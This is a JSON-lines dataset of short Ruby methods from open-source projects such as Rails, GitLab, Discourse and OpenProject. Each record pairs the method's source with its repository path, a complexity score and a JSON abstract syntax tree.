{"repo_name":"openproject","file_path":"./repos/openproject/modules/openid_connect/app/services/openid_connect/configuration_mapper.rb","start_line":107,"raw_source":"def extract_url(options, key)\n value = options[key]\n return value if value.blank? || value.start_with?(\"http\")\n\n unless value.start_with?(\"/\")\n raise ArgumentError.new(\"Provided #{key} '#{value}' needs to be http(s) URL or path starting with a slash.\")\n end\n\n # Allow returning the value as is for built-in providers\n # with fixed host names\n if oidc_provider(options) != \"custom\"\n return value\n end\n\n URI\n .join(base_url(options), value)\n .to_s\n end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"http\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"/\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Provided \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\" '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"' needs to be http(s) URL or path starting with a slash.\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oidc_provider\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"custom\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"base_url\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},\"to_s\"]}]}]}","id":"440f3709-5804-4364-b356-681a8361c3db"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_configurations/hash_config_test.rb","start_line":258,"raw_source":"def test_lazy_schema_cache_path\n config = HashConfig.new(\"default_env\", \"primary\", { schema_cache_path: \"db/config_schema_cache.yml\", adapter: \"abstract\" })\n assert_equal \"db/config_schema_cache.yml\", config.lazy_schema_cache_path\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_lazy_schema_cache_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schema_cache_path\"]},{\"type\":\"str\",\"children\":[\"db/config_schema_cache.yml\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"db/config_schema_cache.yml\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"lazy_schema_cache_path\"]}]}]}]}","id":"06747fb1-fcc7-4887-9e91-755c0f848f85"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/conversations/participants_controller.rb","start_line":30,"raw_source":"def participants_to_be_added_ids\n params[:user_ids] - current_participant_ids\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"participants_to_be_added_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_ids\"]}]},\"-\",{\"type\":\"send\",\"children\":[null,\"current_participant_ids\"]}]}]}","id":"ee6b903f-e968-4606-9ebf-f092cb8e84bd"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/release_environment/construct-release-environments-versions.rb","start_line":41,"raw_source":"def environment\n @environment ||= environment_base + (security_project? ? \"-security\" : \"\")\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@environment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment_base\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"security_project?\"]},{\"type\":\"str\",\"children\":[\"-security\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}","id":"7ff3a4ea-feca-4db8-8a41-966aa03ddc96"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat_sdk/message.rb","start_line":49,"raw_source":"def self.stream(...)\n new.stream(...)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"stream\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]},\"stream\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}","id":"09a70c9c-e5f5-4230-ab57-8991885e28d5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rbmysql.rb","start_line":948,"raw_source":"def fetch_hash(with_table=nil)\n @result.fetch_hash with_table\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_hash\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"with_table\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@result\"]},\"fetch_hash\",{\"type\":\"lvar\",\"children\":[\"with_table\"]}]}]}","id":"032189b3-866f-4ce7-b636-daff3d53cbfc"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/settings/project_custom_field_sections/custom_field_row_component.rb","start_line":63,"raw_source":"def move_actions(menu)\n unless first?\n move_action_item(menu, :highest, t(\"label_agenda_item_move_to_top\"),\n \"move-to-top\")\n move_action_item(menu, :higher, t(\"label_agenda_item_move_up\"), \"chevron-up\")\n end\n unless last?\n move_action_item(menu, :lower, t(\"label_agenda_item_move_down\"),\n \"chevron-down\")\n move_action_item(menu, :lowest, t(\"label_agenda_item_move_to_bottom\"),\n \"move-to-bottom\")\n end\n end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"move_actions\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"move_action_item\",{\"type\":\"lvar\",\"children\":[\"menu\"]},{\"type\":\"sym\",\"children\":[\"highest\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_agenda_item_move_to_top\"]}]},{\"type\":\"str\",\"children\":[\"move-to-top\"]}]},{\"type\":\"send\",\"children\":[null,\"move_action_item\",{\"type\":\"lvar\",\"children\":[\"menu\"]},{\"type\":\"sym\",\"children\":[\"higher\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_agenda_item_move_up\"]}]},{\"type\":\"str\",\"children\":[\"chevron-up\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"last?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"move_action_item\",{\"type\":\"lvar\",\"children\":[\"menu\"]},{\"type\":\"sym\",\"children\":[\"lower\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_agenda_item_move_down\"]}]},{\"type\":\"str\",\"children\":[\"chevron-down\"]}]},{\"type\":\"send\",\"children\":[null,\"move_action_item\",{\"type\":\"lvar\",\"children\":[\"menu\"]},{\"type\":\"sym\",\"children\":[\"lowest\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_agenda_item_move_to_bottom\"]}]},{\"type\":\"str\",\"children\":[\"move-to-bottom\"]}]}]}]}]}]}","id":"57172285-ca9e-471a-9282-ac3599ba159f"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/topic.rb","start_line":112,"raw_source":"def user\n return ::User.find_by_username(@recipient) if @private_messages\n return User.random if @category.groups.blank?\n\n group_ids = @category.groups.pluck(:id)\n user_ids = ::GroupUser.where(group_id: group_ids).pluck(:user_id)\n user_count = user_ids.count\n position = Faker::Number.between(from: 0, to: user_count - 1)\n ::User.find(user_ids[position] || Discourse::SYSTEM_USER_ID)\n end","complexity_score":21.85,"ast_json":"{\"type\":\"def\",\"children\":[\"user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@private_messages\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]},\"find_by_username\",{\"type\":\"ivar\",\"children\":[\"@recipient\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"groups\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"random\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"group_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@category\"]},\"groups\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"GroupUser\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"group_ids\"]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"position\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Number\"]},\"between\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_count\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"User\"]},\"find\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"position\"]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"SYSTEM_USER_ID\"]}]}]}]}]}","id":"edd23a37-4659-4cee-86b5-7183cf03404b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/observability/group_o11y_settings_update_service.rb","start_line":25,"raw_source":"def set_url(params)\n service_name = params.delete(:o11y_service_name)\n\n params[:o11y_service_url] = \"https://#{service_name}.gitlab-o11y.com\" if service_name.present?\n params\n end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"o11y_service_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_name\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"o11y_service_url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_name\"]}]},{\"type\":\"str\",\"children\":[\".gitlab-o11y.com\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"6ec08eef-4bee-4a8c-9711-4d127913dfcf"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/draft.rb","start_line":182,"raw_source":"def post_preloaded?\n !!defined?(@post)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_preloaded?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]}]},\"!\"]},\"!\"]}]}","id":"46298713-be12-49df-b792-058d512f3279"} {"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/db/migrate/20250415192351_create_sync_files.rb","start_line":2,"raw_source":"def change\n create_table :sync_files do |t|\n t.string :file_name\n t.string :file_path\n t.integer :size\n t.datetime :file_created_date\n t.datetime :file_modified_date\n t.integer :workspace_id\n t.integer :sync_id\n t.integer :sync_run_id\n t.integer :status\n t.jsonb :metadata\n t.string :file_type\n\n t.timestamps\n end\n\n add_index :sync_files, :workspace_id\n add_index :sync_files, :sync_id\n add_index :sync_files, :sync_run_id\n end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"sync_files\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"file_created_date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"datetime\",{\"type\":\"sym\",\"children\":[\"file_modified_date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"workspace_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"sync_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"sync_run_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"metadata\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"file_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"sync_files\"]},{\"type\":\"sym\",\"children\":[\"workspace_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"sync_files\"]},{\"type\":\"sym\",\"children\":[\"sync_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"sync_files\"]},{\"type\":\"sym\",\"children\":[\"sync_run_id\"]}]}]}]}","id":"efafa110-5f15-48a6-9f1a-641103f56390"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/sqlite3/copy_table_test.rb","start_line":49,"raw_source":"def test_copy_table_with_index\n test_copy_table(\"comments\", \"comments_with_index\") do\n @connection.add_index(\"comments_with_index\", [\"post_id\", \"type\"])\n test_copy_table(\"comments_with_index\", \"comments_with_index2\") do\n assert_nil table_indexes_without_name(\"comments_with_index\")\n assert_nil table_indexes_without_name(\"comments_with_index2\")\n end\n end\n end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_copy_table_with_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_copy_table\",{\"type\":\"str\",\"children\":[\"comments\"]},{\"type\":\"str\",\"children\":[\"comments_with_index\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_index\",{\"type\":\"str\",\"children\":[\"comments_with_index\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"post_id\"]},{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_copy_table\",{\"type\":\"str\",\"children\":[\"comments_with_index\"]},{\"type\":\"str\",\"children\":[\"comments_with_index2\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[null,\"table_indexes_without_name\",{\"type\":\"str\",\"children\":[\"comments_with_index\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[null,\"table_indexes_without_name\",{\"type\":\"str\",\"children\":[\"comments_with_index2\"]}]}]}]}]}]}]}]}","id":"11c1743f-946e-4b5a-8452-8bd5c3740988"} {"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20190914202517_create_account_migrations.rb","start_line":4,"raw_source":"def change\n create_table :account_migrations do |t|\n t.belongs_to :account, foreign_key: { on_delete: :cascade }\n t.string :acct, null: false, default: ''\n t.bigint :followers_count, null: false, default: 0\n t.belongs_to :target_account, foreign_key: { to_table: :accounts, on_delete: :nullify }\n\n t.timestamps\n end\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"account_migrations\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"acct\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"followers_count\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"belongs_to\",{\"type\":\"sym\",\"children\":[\"target_account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_table\"]},{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"nullify\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"9093d288-cba9-4d77-88c6-84eff3934af9"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/read.rb","start_line":45,"raw_source":"def post_numbers\n parameters[:post_numbers]\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"post_numbers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"post_numbers\"]}]}]}","id":"86008869-bd2a-4f4e-8ab6-6969e4920c02"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/insert_all.rb","start_line":69,"raw_source":"def update_duplicates?\n on_duplicate == :update\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_duplicates?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"on_duplicate\"]},\"==\",{\"type\":\"sym\",\"children\":[\"update\"]}]}]}","id":"bca4e1b7-951c-4e8b-818d-04cce7527e1e"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_pglogical/connection_handling.rb","start_line":10,"raw_source":"def logical_replication_supported?\n return @logical_replication_supported if defined?(@logical_replication_supported)\n\n is_superuser = ActiveRecord::Base.connection.select_value(\"SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER\")\n unless is_superuser\n warn_bookends = [\"\\e[33m\", \"\\e[0m\"]\n msg = \"WARNING: Current user is NOT a superuser, logical replication will not function.\"\n if $stderr.tty?\n warn(warn_bookends.join(msg))\n else\n warn msg\n end\n _log.warn msg\n end\n\n @logical_replication_supported = is_superuser\n end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"logical_replication_supported?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logical_replication_supported\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logical_replication_supported\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"is_superuser\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"select_value\",{\"type\":\"str\",\"children\":[\"SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_superuser\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"warn_bookends\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u001b[33m\"]},{\"type\":\"str\",\"children\":[\"\\u001b[0m\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"WARNING: Current user is NOT a superuser, logical replication will not function.\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stderr\"]},\"tty?\"]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warn_bookends\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@logical_replication_supported\",{\"type\":\"lvar\",\"children\":[\"is_superuser\"]}]}]}]}","id":"ba835144-173b-4dd9-af80-47fe03fca4a5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250912072501_add_work_item_foreign_key_to_work_item_descriptions.rb","start_line":14,"raw_source":"def down\n Gitlab::Database::PostgresPartitionedTable.each_partition(:work_item_descriptions) do |partition|\n with_lock_retries do\n remove_foreign_key_if_exists(\n partition.identifier,\n :work_item_descriptions,\n name: :work_item_id,\n reverse_lock_order: true\n )\n end\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"each_partition\",{\"type\":\"sym\",\"children\":[\"work_item_descriptions\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"identifier\"]},{\"type\":\"sym\",\"children\":[\"work_item_descriptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"work_item_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"e013e9eb-2b7b-4470-a60f-6549640d11b5"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/multi_collection_paginator.rb","start_line":53,"raw_source":"def first_collection_page_count\n return @first_collection_page_count if defined?(@first_collection_page_count)\n\n first_collection_page = paginated_first_collection(0)\n @first_collection_page_count = first_collection_page.total_pages\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"first_collection_page_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_collection_page_count\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_collection_page_count\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"first_collection_page\",{\"type\":\"send\",\"children\":[null,\"paginated_first_collection\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@first_collection_page_count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_collection_page\"]},\"total_pages\"]}]}]}]}","id":"1a5d9564-479a-428a-86a7-b507a46fa13b"} 